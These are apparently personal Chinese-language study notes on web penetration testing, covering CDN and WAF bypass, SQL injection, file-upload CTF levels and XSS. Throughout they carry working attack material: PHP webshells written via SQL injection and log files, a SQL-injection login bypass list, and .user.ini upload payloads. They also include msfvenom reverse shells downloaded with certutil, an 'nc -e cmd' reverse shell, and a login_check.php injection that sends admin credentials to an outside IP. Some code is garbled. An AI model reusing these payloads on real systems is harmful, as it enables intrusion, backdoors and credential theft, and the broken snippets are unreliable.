资产架构
0、前置
云服务器,域名等购买使用
1、熟悉服务器
目录,端口等站点搭建;
多插件,多站点等搭建;
第三方服务协议应用搭建;
2、部署防护
WAF,即:Web应用防火墙(也称为网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)
一个完善的主机安全系统需要从三方面来提供保护,分别是系统安全、文件安全和网络安全。
3、优化性能
负载均衡,CDN等
(CNAME记录:别名记录;从一个域名映射到另一个域名)
端口
csdn笔记
端口渗透
一、端口介绍
常用工具:Nmap、Masscan
nmap www.xiaodi8.com -Pn --osscan-limit -sV
https://wenda.so.com/q/1515401474211020 -P0、-PD、-PN、-Pn四个参数效果一样。
⬆️(太慢了)
masscan -p80,21,3306,8888,1433 47.75.212.155
masscan -p1-65535 47.75.212.155
⬆️(快)
端口扫描
发送扫描流量-服务器
二、扫描网段的port
旁注、C段
查C段:去查 查到的port的,该网络的ip
masscan -p47001,49188,49187,3306,49154,49200,49152,8888,3389,80,49153 47.75.212.0/24
![image-20231214145153403](photos/image-20231214145153403.png)
百度==》ip反查
若80端口开放,访问ip无法打开,说明是解析问题
拿着查到的ip去访问,去反查域名
去攻击这些ip,就属于内网渗透
知识点
附:学习网站:1
![image-20231214152912490](photos/image-20231214152912490.png)
cdn服务
![image-20231214151352271](photos/image-20231214151352271.png)
我访问开了cdn的web(A),香港的
相当于先访问了一台香港的节点(缓存),节点再去访问A,对于web渗透来说你拿到权限也是get了缓存的权限,需要绕过cdn。
判断是否开了cdn
超级ping平台(ping.chinaz.com,https://www.17ce.com),各地的ip去访问,看归属地,归属地不同就是开了cdn
cdn绕过
开设和配置
工作原理&阻碍(百度)
![image-20231214161741085](photos/image-20231214161741085.png)
![image-20231214161857133](photos/image-20231214161857133.png)
配置:
域名:单域名、泛域名*.xiaodi8.com
源站:真实网站ip
加速区域:对哪些地区提供cdn服务
dns有10-30分钟的生效时间
![image-20231214162710563](photos/image-20231214162710563.png)
绕过思路:
-
设置了单域名,去找子域名的ip,跟单域名的ip一个ip
- 例:www.ap100.com & ap100.com 访问相同的网站,域名不同 超级ping比较准确
- 例:www.xiaodi8.com & test.xiaodi8.com
-
历史记录
-
国外请求
cdn选了国内,从国外代理访问,就能访问到真实ip- https://tools.ipip.net/cdn.php
al28pu0519 - 超级ping不好用
- https://tools.ipip.net/cdn.php
-
业务类型,没有全部资源加速(全站加速)
-
漏洞&遗留文件
- phpinfo.php漏洞
如果有这个文件,可以看首选网卡的ip地址(内网网卡默认首选),因此没有内网网卡的服务器,这个ip就是服务器真实ip
2. **ssrf.php漏洞** <img src="photos/image-20231214184950339.png" alt="image-20231214184950339" style="zoom: 33%;" /> 主动请求别人不会通过cdn,通过这个文件,可以访问其他服务器A的资源,我在A开一个web服务记录日志 `python2 -m SimpleHTTPServer 8000` 记录谁访问过我。 <img src="photos/image-20231214185758100.png" alt="image-20231214185758100" style="zoom:67%;" />
- phpinfo.php漏洞
-
邮件服务器==》查看原文
-
==get-site ip==https://get-site-ip.com
一键自带逻辑查询–用于无路可走和验证
这是国外的网站,查cdn还不用cdn
-
全网扫描
- fuckcdn不需要安装、优先
填set.ini 域名和关键词(👀源代码的title),再ip.txt exe ==>ip(ping 域名)端口 - w8fuckcdn需要配置环境
- Zmap大法需要配置环境
- fuckcdn不需要安装、优先
-
百度查备案查询(个人或企业),查域名查询(联系邮箱aliyun 个人就是网上买的,企业就是机房的),再回到fuckcdn写上怀疑的ip,fuck.exe,ip:port,==>well==>result.txt
最下面版权所有显示的京津冀鲁豫,再去查ip归属地。判断你用的这些方法,那个查的更可能一点,都不是100%
找到之后修改本机的host
附:绕过知识点:
https://zhuanlan.zhihu.com/p/33440472
https://www.cnblogs.com/blacksunny/p/5771827.html
WAF防火墙
------web应用防火墙
识别:
-
看图识别
访问看反应 -
脚本探测
wafw00f-----GitHub脚本工具(更新的比较全)
linux安装:
win安装需要py环境
python.exe setup.py install
fofa找目标:搜waf名称
https://www.tn2000.com(di) http://60.167.58.60:9100;两个都不行了
事实上只有一小部分WAF是可以绕过的。另外大公司的waf极有可能是自己小团队开发的,不公开,工具根本识别不到。
负载均衡
没有负载均衡的话,一个是反应很慢,一个是最终会出现NOT FOUND
防火墙
出入站规则,协议和流量的出入
识别:nmap可以识别自带的防火墙 参数 sA
不用识别,外网没有太大意义(访问不到web,没必要测试),内网识别可以测试能通过什么数据
linux:ip tables
win: 防火墙规则
APP&小程序渗透
工具
黑暗引擎
Finger:
https://github.com/EASY233/Finger
#黑暗引擎:
https://fofa.so
Finger-main\config
https://quake.360.cn
https://www.shodan.io
https://www.zoomeye.org
#自动项目:
https://github.com/knownsec/Kunyu
https://github.com/0x727/ShuiZe_0x727
https://github.com/TophantTechnology/ARL
#相关资源:
https://forum.ywhack.com/center.php
虚拟机
虚拟机网络配置
NAT模式(网络地址转换)
每创建一个虚拟机,都会有一个虚拟的的DHCP服务器分配虚拟地址,因此不互通。
所以互联网环境有两层NAT,路由器通过NAT,给宿主等网络设备分配私有ip地址,再通过公网ip进行访问互联阿网的操作,互联网不能访问到私有ip,宿主里的虚拟dhcp服务器通过nat分配。
宿主对虚拟机相当于公网,所以虚拟机只能ping通宿主,宿主不能ping虚拟机。
NAT网络
相当于加了一台交换机,实现虚拟机的网络互通
HOST-ONLY模式
自动分配地址
桥接模式
与宿主是平级的,占用局域网的
内部网络模式
手动设置内部网络地址,不通宿主,只在内部虚拟机互通。
PHP开发
数据库:
mysql
phpstudy 3306 root root
**8.0 33306 root 123456 **
php连接数据库
<?php
// 连接到数据库 对象来接收
$conn = mysql_connect("localhost", "username", "password");
// 选择数据库 库名 哪个数据库对象
mysql_select_db("mydatabase", "connection_link_identifier");
?>
<?php
$conn=mysql_connect("127.0.0.1","root","root");
mysql_select_db("beescms",$conn);
$sql='select * from xiao';
$result=mysql_query($sql,$conn) ;
while ($row=mysql_fetch_array($result)){
echo $row["id"];
}
?>
为了便捷,大部分php网站会有一个配置文件include("/config/conn.php")
<?php
//$conn=mysql_connect("127.0.0.1","root","root");
//mysql_select_db("beescms",$conn);
include("/config/conn.php")
$sql='select * from 表名';
$result=mysql_query($sql,$conn);
while ($row=mysql_fetch_array($result)){
echo $row["id"];
}
?>
<?php
$conn=mysql_connect("127.0.0.1","root","root");
mysql_select_db("beescms",$conn);
$i=$_GET['id'];
$sql="select * from sy_adminuser where id=$i";
$result=mysql_query($sql,$conn);
while ($row=mysql_fetch_array($result)){
echo $row["id"];
echo $row["password"];
echo $row["username"];
}
?>
<?php
$i=_GET['id'];//get请求把参数id传给变量i,post同理,但是get可以在网页后面用?id=1显示,post只能post
$sql='select * from bees_article where id =$i'
?>
PHP增删改查
变量 = 变量= 变量=_POST[‘name’]
PHP文件操作
上传下载、删除读取包含
php编码紊乱在<?php 此处 ?>添加语句⬇️
hearder(string:"Content-type": text/html;charsett=utf-8);
PHP语法:$_SERVER
![image-20240101115731242](photos/image-20240101115731242.png)
通过userAgent判断设备信息:
$ua=$_SERVER['HTTP_USER_AGENT']
echo $ua
📚[PHP 正确获取客户端 IP 地址.md](csdn\PHP 正确获取客户端 IP 地址.md)
从网页改一下,跳转到本地的这个php文件,可以获取从哪里来到本地php文件的并输出。
HTTP_X_FORWARDED_FOR是代理(有的老网站会以这个为准,burpsuit抓包,伪造一下HTTP_X_FORWARDED_FOR:127.0.0.1,就会让网站以为从本地访问的)
burpsuit更改referrer成骨骼,(内涵信息为:从哪里来的)
可用于CSRF跨站点请求伪造
检查工具:Hackbar
https://www.bilibili.com/video/BV1Qf4y1u7cU/?vd_source=f2a4e60ed16bc90e8867067eaabf9825
mysql
查询、删除、添加、更新
文件上传漏洞
反射型和存储型
反射型:查询一次,显示一次
<scrip>alert(xiaosedi)</scrip>
存储型:写入了数据库,每次调用数据库查询,都会被执行
web请求介绍
PHP登录验证
![image-20240101180213763](photos/image-20240101180213763.png)
cookie
blog/cookie/login.php
<form action="" method="post">
账号:<input type="text" name="user">
密码:<input type="password" name="pass">//admin888
</form>
<?php
//$conn=mysql_connect("127.0.0.1","root","root");
//mysql_select_db("beescms",$conn);
include("config/conn.php")//目录是blog/config/,blog下是根目录
hearder(string:"Content-type": text/html;charsett=utf-8);
$username=$_POST['user'];
//$password=$_POST["pass"];
$password=md5($_POST['pass']);
$sql="select * from sy_adminuser where username='$username' and password='$password'";
$result=mysql_query($sql.$corn);
//正确就能查找到数据,错误就查不到数据为空,然后判断行数,mysql_num_rows
if (mysql_num_rows(result)){
echo "成功!";
//跳转函数
header(string: "Location:admin/add_news.php");//目录为blog/admin/add_news.php
setcookie(name:'user',$username);
}else{
echo "失败了萧瑟滴!";
header(string: "Location:login.php");
}
?>
blog/config/login_check.php
<?php
hearder(string:"Content-type": text/html;charsett=utf-8);
$user=$_COOKIE['user'];
if (user =='admin'){
//if ($user !=''){}
echo '这里是后台';
}
else{
echo '你妹的';
}
?>
blog/admin/add_news.php
<?php
hearder(string:"Content-type": text/html;charsett=utf-8);
include("../config/login_check.php");
?>
找到验证文件,看验证逻辑,伪造cookie,不为空,就加个user=1。
xss可以执行js代码,盗取浏览器缓存的cookie
session
赋值验证注意要启用session_start()
相当于创建了一个会话,不能断,断了就会变,保存到服务器。会话有效期间获取PHPSESSID才有效。
![image-20240101191906313](photos/image-20240101191906313.png)
![image-20240101192000752](photos/image-20240101192000752.png)
相当于创建了一个会话,不能断,断了就会变,保存到服务器。会话有效期间获取PHPSESSID才有效。
![image-20240101191538168](photos/image-20240101191538168.png)
万能密码
' or 1='1
'or'='or'
admin
admin'--
admin' or 4=4--
admin' or '1'='1'--
admin888
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1--
admin' or '2'='2
')or('a'='a
or 4=4--
c
a'or' 4=4--
"or 4=4--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 4=4
'OR 4=4%00
"or 4=4%00
'xor
admin' UNION Select 1,1,1 FROM admin Where ''='
1
-1%cf' union select 1,1,1 as password,1,1,1 %23
1
17..admin' or 'a'='a 密码随便
'or'='or'
'or 4=4/*
something
' OR '1'='1
1'or'1'='1
admin' OR 4=4/*
1'or'1'='1
验证码
代码生成意义:防止爆破,验证码要有生存期,不然也不会有防止爆破的作用,所以验证码,每次不论正确与否都应该变,通过burpsuit抓包测试。一直用第一个争取的码,进行爆破。数字单词的比较简单,其他的就难了。
javascript验证文件类型
php黑盒测试,运行在服务端
javascropt & ajax 白盒测试,传输数据,运算运行在客户端本地() 可以禁用掉 火狐禁用js
在JavaScript中,lastIndexOf()
函数用于返回指定字符串或正则表达式最后一次出现的索引。如果没有找到该字符串或正则表达式,将返回-1。
以下为示例代码:
javascriptlet str = "Hello World";
console.log(str.lastIndexOf("o")); // 输出结果为7
// 使用正则表达式作为参数进行查询
let regex = /l/g;
console.log(str.lastIndexOf(regex)); // 输出结果为9
扩展: 判断的几种方式.md
做安全测试中,
{code:”200”,data:“166554354135”,msg};
json文件返回的信息,有code,msgbox,msg,data时,可能就是AJAX写的接受传输验证数据
TP框架
搭建使用
ThinkPHP5.0完全开发手册-09031744.pdf
//安全性高,sql注入被过滤
Db::table('think_user')->where('status',1)->select(); //需要配置application下的配置文件 config.php & databse.php
//等价于
select * from think_user where status=1
$id = $_GET['1'];//$id可以变动
$id = input ('1';)//$id可以变动
$id = input('?get.x');//安全性高,sql注入被过滤
改成true
设置配置
![image-20240107172510887](photos/image-20240107172510887.png)
找bug
1、看写法
2、看历史漏洞–>版本
黑盒:判断是不是tp,(报错,返回数据包,经验看url地址(格式))
白盒:看源码,thinkphp/tpl/base.php
识别:⬇️
![image-20240107221040245](photos/image-20240107221040245.png)
有的看得见,大部分看不见,当然大部分其实都用了tp框架。
找TP版本,搜索该版本爆出的漏洞,搜索解决方案,看源码有没有被解决
总结
原生代码
漏洞
可控变量、特定函数
文件操作
上传、下载、删除、包含、读取
数据库
sql注入
输入输出
xss跨站
后台验证
cookie、session
JS&AJAX
传输
参数
可修改
返回
可修改
区别
代码在黑盒中也可以修改
TP框架
代码写法
自己乱写:自己按照常规sql语句写(不收到框架保护,当做没用框架)
安全写法:收到框架保护,基本GG
框架版本
识别
黑盒–>返回数据包、报错提示、URL
白盒–>看配置文件
漏洞
历史漏洞、代码修补补丁
web漏洞
漏洞来源:
1.web源码
2.开发语言
3.中间件平台
4.数据库类型
5.第三方插件或软件
ASP类型漏洞
架构
系统(固定)-中间件(固定)-asp-数据库(不固定)
windows-iis-asp-access/sqlserver(不固定)
win2003问题较多
漏洞1:MDB数据库默认下载
搭建:
控制面板-添加/删除组件-应用程序服务器和默认的Internet信息服务iss,报错-链接光驱指向iso文件
安装powereazyCMS2006.zip
win-管理工具-发送桌面并打开Internet信息服务iss-网站右键新建网站-ip$80port-取名powereazy
路径选择安装的powereazy目录
右键powereazy-属性-文档-选择默认启动文件添加Index.php-
打不开可能是不能执行asp文件,右键web服务扩展-active server pages-允许
在网浏览器址栏输入ip再访问
原理
access数据库 的后缀名一般为 asp asa mdb(下载)
思路
如果知道数据库的地址,尝试下载获取数据库文件,获取管理员账号信息
通过扫描、复现网站、找一下mdb文件路径
访问ip/xxx.mdb-寻找管理员账号信息-登录后台(找后台文件.asp)
cn.bing.com
inurl:Soft/Index.asp(上面的一个文件)//搜索asp网站
漏洞2:ASP后门植入链接漏洞
留言板后门植入、菜刀链接
今晚群里朋友叫看个站,有sql防注入,绕不过,但是有发现记录wrong的文件sqlin.asp 既然做了记录,再查看了下它的记录文件 于是想着构造个asp一句话写进去,前面几种没加密的都失败了,于是写了个加密的. ┼攠數畣整爠煥敵瑳∨≡┩愾 密码 a (加密方式是: ANSI->Unicode) 提交 and 1= ┼攠數畣整爠煥敵瑳∨≡┩愾 http://www.hackqing.com/sqlin.asp 菜刀连接之,成功
漏洞3:IIS短文件名探针漏洞
工具可以扫到admin_
比较鸡肋,但是可以扫一下,找一下mdb文件、或者试一下组合成真正后台文件名。
漏洞4:asp解析漏洞
漏洞5:写入(put)漏洞
搭建网站时,勾选了写入,WebDAV开启状态
IIS6.0解析漏洞源码工具,iisputscancer.exe,输入ip地址,扫描scan put --> yes表示有这个bug
扫描出来后:
然后必须在虚拟机非win10运行桂林老兵程序⭐️,有病毒小心使用
PUT 后门图片
MOVE会更改后门图片为shell.asp 如果报错,就改成解析漏洞文件名asp;.txt
ASPX类型漏洞
源码结构
asp、web.config、bin文件夹–>dll文件
知识点:
1、.NET配置调试-信息泄露
2、.NET反编译-DLL反编译
3、.NET未授权访问
反编译工具:
ILSpy
**思路一:**反编译asp文件调用的bin中的dll文件
思路二:web.config里有报错自定义on\off,会造成信息泄露,帮助了解
**思路三:**未授权访问
验证机制:
1、在每个文件里面添加判断代码
2、专门创建一个文件用于判断,其他文件去调用它找未授权访问:
1、找那些文件没有包含验证代码文件
2、验证代码文件有没有可能绕过(cookie/session)
ASPX特性漏洞
未授权访问、反编译
web漏洞
服务+中间件+数据库+第三方软件
Windows+iis+asp+access
Windows+iis+aspx+sqlserver
PHP特性漏洞
多类型对比、绕过
java
反序列化
python
ssti、序列化
javascript
前端逻辑安全问题
通用性漏洞sql
sql注入
sql注入产生的原理和危害
脚本代码在实现代码与数据库进行数据通讯时(从数据库取出相关数据进行页面展示),将定义的SQL语句进行执行查询数据时。其中的SQL语句能通过参数传递自定义值来实现控制SQL语句,从而执行恶意的SQL语句,可以查询到敏感数据(账号密码)。
![image-20240131154832511](photos/image-20240131154832511.png)
步骤:
1、猜测数据库类型
2、根据类型选择思路
access类型:
数据库名
表名 第一步目标
列名
数据
id =1 order by 猜字段列数
mysql类型:
白盒看代码,黑盒如下
1、查order by 字段数
写上
爆出回显位 数字
不爆出就在前面加不等式
id=1 and 1=222 SELECT UNION 1,2…
宽字节注入,有的没反应,可能是因为数字也用了’‘,所以你也得加一个’,把‘’封闭掉,又因为然后程序是加了/转义字符,所以还得加一个%df
MYSOL5.0以上特性
MYSOL5.0以上版本:自带的数据库名information_schema
information_schema: 存储数据库下的数据库名及表名,列名信息的数据库
获取相关数据
1、数据库版本–看是否符合information_schema查询-version()-5.5.532
2、数据库用户–看是否符合ROOT型注入攻击-user()-root@localhost
3、当前操作系统–看是否支持大小写或文件路径选择-@@version_compile_os-win
4、数据库名字-为后期猜解指定数据库下的表、列做准备-database()-syguestbook
root类型攻击:
1、猜解数据
显示不完全,加一个参数group_concat()
2、文件读写
获取syguestbook数据库下面的表名信息:
UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='syguestbook'
获取表名sy_adminuser的列名信息:
UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='sy_adminuser' and table_schema='syguestbook'
获取指定数据:
UNION SELECT username,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from sy_adminuser
3、跨库查询
获取数据库名xhcms下的表名信息
UNION SELECT table name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information schema.tables where table_schema='xhcms'
获取数据库名xhcms下的表manage下的列名信息:
UNION SELECT column name,2,3,4,5,6,7,8 9,10,11,12,13,14,15,16,17 from information schema.columns where table_name='manage' and table schema='xhcms'
获取指定数据:
UNION SELECT user,password,3,4,5,6,7,8,9,10,11,12,13 ,14 15,16,17 from xhcms.manage
table字典:
“F:\code\dict\common-tables.txt”
Base64编码脚本 :
MSSQL(SQLserver)
知识点:
1、SQL注入-MYSQL数据库
2、SQL注入-MSSQL数据库
3、SQL注入-PostgreSQL数据库
Access无高权限注入点-只能猜解,还是暴力猜解
MYSQL,PostgreSQL,MSSQL高权限注入点-可升级读写执行等
高权限读写注入
演示案例:
MYSQL-root高权限读写注入
PostgreSQL-高权限读写注入
MSSQL-sa高权限读写执行注入
结尾彩蛋-某Q牌违法登陆框注入
http://localhost:8080/blog/news.php?id=2%20UNION%20SELECT%201,load_file('F:/tools/phpstudy/PHPTutorial/WWW/blog/config/conn.php'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
写后门脚本
http://localhost:8080/blog/news.php?id=2 UNION SELECT 1,'<?php eval($_POST[x]);?>',3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 into outfile 'F:/tools/phpstudy/PHPTutorial/WWW/blog/1.php'
再用菜刀连数据库
如何知道文件路径
三种方式:
1,遗留文件phpinfo.php中的泄露信息
![image-20240214152222701](photos/image-20240214152222701.png)
![image-20240214152328234](photos/image-20240214152328234.png)
2,报错信息
3,load_file读取配置文件
set global slow_query_log=1;
set global slow_query_log_file='F:\\tools\\phpstudy\\PHPTutorial\\WWW\\blog\\5.php';
select '<?php eval($_GET[A])?>' or SLEEP(11);
后门代码被写入到5.php,菜刀
4,字典爆破
postgresql注入
mssql手工注入
工具Sqlmap使用
环境:python 官网:sqlmap.org
手册和安装
https://sqlmap.kvko.live/
https://github.com/sqlmapproject/sqlmap
用法一:网站域名
判断注入点存在与否
看起来像某种数据库(db2),翻译,输入指令
等待
以下界面判断完毕,存在注入点
按照流程继续进行
–privileges
慢
–is dba
Ture
就可以通过执行命令、读取文件植入后门
交互式、注册表等注入攻击
翻车重新输一遍
**联动msf meterpreter **生成后门 下载后门
#生成后门、绑定目标ip和port
msfvenom -p windows/meterpreter/reverse_http lhost=47.94.236.117 lport=6666 -f exe -o sql.exe
下载后门
测试写入(c盘有时候因为权限问题无法写入,建议直接d盘,有时有没有d盘,能d则d)
通过注入,让远端去下载生成的后门,保存到云端,让远端运行后门
certutil -urlcache -split -f http://47.94.236.117/sql.exe
//c:/sql.exe nc -e cmd 47.75.212.155 5566
监听这个端口:
meterpreter监听到数据,反弹shell成功 上线
下载失败可能是没有这个下载到的盘
False
如果是false,就慢慢拆解
–dbs 获取所有数据库
–current-db 当前数据库名字
–tables 获取所有数据库的所有表(时间长)
–tables -D “数据库名” 获取来源于这个数据库的表
–columns -T “表名” -D “数据库名” 获取这个数据库的这个表的列名
–dump -C ”列名,列名“ -T “表名” -D “数据库名” 获取这个数据库的这个表的列名的数据
找到密文密码就会提示是否字典爆破密文
没有账号密码就猜别的数据
![image-20240215083517268](photos/image-20240215083517268.png)
sqlmap会把注入语句,以及每次查询到的结果,保存到本地,方便使用
–purge 清缓存
用法二:特定访问
有登陆界面、或登陆后存在注入点
创建一个文本文档,把请求数据包信息放进去 例如1.txt
报错的话,清除缓存,重新抓包,
access不支持高权限,因为不存在数据库用户,只能正常注入
使用sqlmap的理论流程与手工注入流程一样
1、判断注入点 2、判断数据库 3、判断高低权限 4、采取不同行动
手工注入可以sqlmap不行,考虑是否有过滤
可能出现问题:
网络有问题,丢包,有延迟 或者网站有问题,sqlmap会自动过几秒发包
ORACLE注入
https://blog.csdn.net/hackzkaq/article/details/123208409
order by
union select 1,2
Mongodb注入
数据类型注入
主要是考虑到不同类型的引号、通配符等
数字型
id=1 order by 1
字符型
gtpl=simple‘ order by –+
搜索型
serach=演示% UNION ALL SELECT and ‘%’=’
编码型
json类型
提交方式注入
根据代码的接收方式提交值
post:url后面d= (d是代码里的变量)
post:post请求
cookie:抓包里的cookie:
墨者案例:登陆界面
通过抓包,看到以post请求用户名密码,按照注入方式ordey by流程去注入
注入过程中,看是否正常
或者数据包粘贴到文本,必须加后缀 --data ‘name=xiaodi*&password=xiaodi’
单独看网站看不出参数,但是以抓包的方法可能就会看到参数的提交形式
post行为经常做的功能点:用户登录、文件上传
黑盒的方式,==>抓包
白盒的方式,http的head头的xff:特定的代码去追逐,ip类型就找ip、getip;
根据代码去找逻辑,去调用cookie的函数或者方法,cookie
盲注:
盲注是解决常规的联合查询不行的情况下
12种报错注入
1、通过floor报错,注入语句如下:
and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);
2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))
4、通过NAME_CONST报错,注入语句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)
5、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;
6、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );
7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );
8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );
9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );
10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );
11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );
12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );
https://www.jianshu.com/p/bc35f8dd4f7c
堆叠注入
肯定会成功
不一定成功
因为堆叠注入,可能在注入点注入后也不会成功,需要看在代码中是怎么执行的。所以比较鸡肋
**转换工具:**小葵工具
关键词被过滤的话转换一下:
然后把HEX复制赋给一个变量执行
';SeT @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;
二次注入
dnslog,解决不回显的问题
文件上传
想办法上传后门文件,再通过post或者工具链接后门代码:
<?php eval($_POST[X];?>
前端验证
检查修改判定文件类型的条件
后端验证
抓包,抓到文件类型的变量,修改前端,再进行抓包
![image-20240312133809178](photos/image-20240312133809178.png)
多后缀解析
更改前端、和后端验证类型都不能上传,则将后缀名大小写变化;加数字等方式上传再访问,看是都能够访问,直接变成下载链接则不行
.user.ini
先上传一个带后门的png文件,再上传.user.ini文件
后门png文件:在burosuit里删除图片原有内容,写上后门命令
上传.user.ini文件:让其包含1.png文件
再访问网页首页文件,如果首页文件指向了.user.ini文件,则后门文件被执行。
过滤字段
用其他语句替换:
CTFSHOW-文件上传-151到161关卡
151 152-JS验证+MIME
Content-Type:image/png
153-JS验证+user.ini
https://www.cnblogs.com/NineOne/p/14033391.html
.user ini: auto_prepend_file=test.png
test.png:<?php eval($_POST[x];?>
154 155-JS验证+user.ini+短标签
<?echo '123' ?> //前提是开启配置参数short_open_tags=on
<?=(表达式)?> //不需要开启参数设置
<% echo '123'%> //前提是开启配置参数asptags=0n
<script language-"php">echo'1'</script> //不需要修改参数开关
.user.ini: auto_prepend_file=test.png
test.png: <?=eval($_POST[x]);?>
156 JS验证+.user.ini+短标签+过滤
.user.ini: auto_prepend_file=test.png
test.png: <?=eval($_POST[x]);?>
157 158 159 JS验证+user.ini+短标签+过滤使用反引号运算符的效果与函数 shell exec()相同
.user.ini:auto_prepend_file=test.png
test png: <?=system('tac /fl*')?>
test png: <?echo `tac/var/www/html/f*`?>
160 JS验证+user.ini+短标签+过滤
包含默认日志,日志记录UA头,UA头写后门代码
.user.ini: auto_prepend_file=test.png
test.png: <?=include"/var/lo"."g/nginx/access.lo"."g"?>
161 JS验证+user.ini+短标签+过滤+文件头文件
头部检测是否为图片格式文件
.user.ini: GlF89A 回车 auto_prepend_file=test.png
test.png: GlF89A 回车 <?=include"/var/lo"."g/nginx/access.lo"."g"?>
162 突破过滤
过滤(){},等,
利用远程包合IP转换地址后门调用执行
.user.ini: auto_prepend_file=test.png
test.png: <?=include'http://794750069'>
https://www.befson.com/convert/ip2int/
163 奕破上传删除
过滤(){},等,同时文件被删除
直接利用 user.ini包含远程
auto_prepend_fle=hitp://794750069/
auto_prepend_fle=hitp://794750069/
164 png二次宣染
https://blog.csdn.net/qq_40800734/article/detalls/105920149
get 0=system
post 1=tac flag.php
165 jpg二次渲染
1、先上传jpg正常,返回包发现渲染
2、上传jpg渲染后保存,生成带代码图片
调用执行:php jpg.php 1.jpg
get 0=system
post 1=tac flag.php
166 zip调用包含
直接上传zip后修改代码
<?=eval($_POST[x]);?>
167 .htaccess妙用
htaccess默认不支持nginx,设置后支持
htaccess可以通过设置实现文件解析配置
将png后缀的文件解析成php
AddType application/x-httpd-php png
将.png后缀的文件解析成php
168 免杀后门
<?php $a='syste';$b='m';$c=$a.$b;$c('tac ../flaga.php');?>
169 170日志包含
构造.user.ini利用条件:上传index.php 内容随意
上传.user.ini包含日志:auto_prepend file=/var/log/nginx/access.log
访问地址带后门UA头写入日志:<?=eval($_POST[x]);?>
图片修改工具
www.blog.csdn.net/qq_40800734/article/details/105920149
文件上传-大佬笔记
https://blog.csdn.net/q20010619/article/details/120187544
https://blog.csdn.net/uuzeray/article/details/135630424
https://www.cnblogs.com/Pengj/p/17602181.html
附:CTFSHOW 29-124:
https://blog.csdn.net/qq_63548648/article/details/128285071
Apache/Nginx解析漏洞
编辑器
Web应用编辑器-Ueditor文件上传安全
黑盒:寻找一切存在文件上传的功能应用
1、个人用户中心是否存在文件上传功能
2、后台管理系统是否存在文件上传功能
3、字典目录扫描探针文件上传构造地址
4、字典目录扫描探针编辑器目录构造地址
白盒:看三点,中间件,编辑器,功能代码
1、中间件直接看语言环境常见搭配
2、编辑器直接看目录机构或搜索关键字
3、功能代码直接看源码应用或搜索关键宇
通用漏洞
跨站
XSS
XSS跨站&反射&存储&DOM&盲打&劫持
分类
反射型XSS
存储型XSS
写到了数据库中
DOM XSS
JS代码实现的输入输出,在前端进行的
beEF
安装docker
sudo yum install docker
重启Docker
sudo systemctl restart docker
安装beef
1、pull beef
docker pull janes/beef
2、映射到自己喜欢的端口,我就弄到3000吧
docker run --rm -p 3000:3000 janes/beef
访问ip
http://服务器ip:3000/ui/authentication
重新启动:
sudo systemctl restart docker
docker run --rm -p 3000:3000 janes/beef
账号/密码beef/beef
UXSS
全称 Universal Cross-Site Scripting
UXSS 是利用浏览器或者浏览器扩展漏洞来制造产生 XSS 并执行代码的一种攻击类型。
MICROSOFT EDGE uXSS CVE-2021-34506
Edge 浏览器翻译功能导致 JS 语句被调用执行
https://www.bilibili.com/video/BV1fX4y1c7rX
Flashxss-swf
引用 js 的 xss
JPEXS Free Flash Decompiler
phpwind SWF 反编译 Flashxss
ExternalInterface.call 执行 JS 代码
Payload:
/res/js/dev/util_libs/jPlayer/Jplayer.swf?jQuery=alert(1))}catch(
e){}//
http://localhost:8080/phpwind9.0_5275/phpwind/www/res/js/dev/util_libs/jPlayer/Jplayer.swf
虚拟机win带flash的浏览器
http://192.168.228.4:8080/phpwind9.0_5275/phpwind/www/res/js/dev/util_libs/jPlayer/Jplayer.swf
PDFXSS
上传后直链触发
1、创建 PDF,加入动作 JS
2、通过文件上传获取直链
3、直链地址访问后被触发
权限维持
拿到权限后,更改网站的文件内容,得到他的后台管理密码
将用户名密码通过往
检测账密的程序 login_check.php (抓包分析哪个程序)加入语句,暗自发送到服务器文件上生成文本文档记录用户名密码 get.php
$up='<script src=http://112.124.28.157/get.php?user='.$metinfo_admin_name.'&pass='.$metinfo_admin_pass.'></script>';
echo $up;
绑定钓鱼
msfvenom -p windows/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=6666 -f exe > flash.exe
C:\windows\temp
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6666
run
ctfshow关于xss例题
https://blog.csdn.net/qq_61553520/article/details/130273067
https://blog.csdn.net/weixin_49656607/article/details/119616543
https://xz.aliyun.com/t/4067
313
xss防御
过滤危险字符
过滤一些危险字符,以及转义&<>"等危险字符自走义过滤函数引用
HTTP-only Cookie
https://www.php.cnphp-ask-457831.htmlphp.ini设置或代码引用
session.cookie httponly =1
ini_set(“session.cookie _httponly”, 1);
CSP
设置CSP(Content $ecurity Policy)
https://blog.csan.neta1766855068/article/details/89370320header("Content-Security-Policy img-src 'self ")
输入内容长度限制,实体转义等
CSRF
#详细点:
CSRF 全称: Cross-site request forgery,即,跨站请求伪造,也被称为 “One
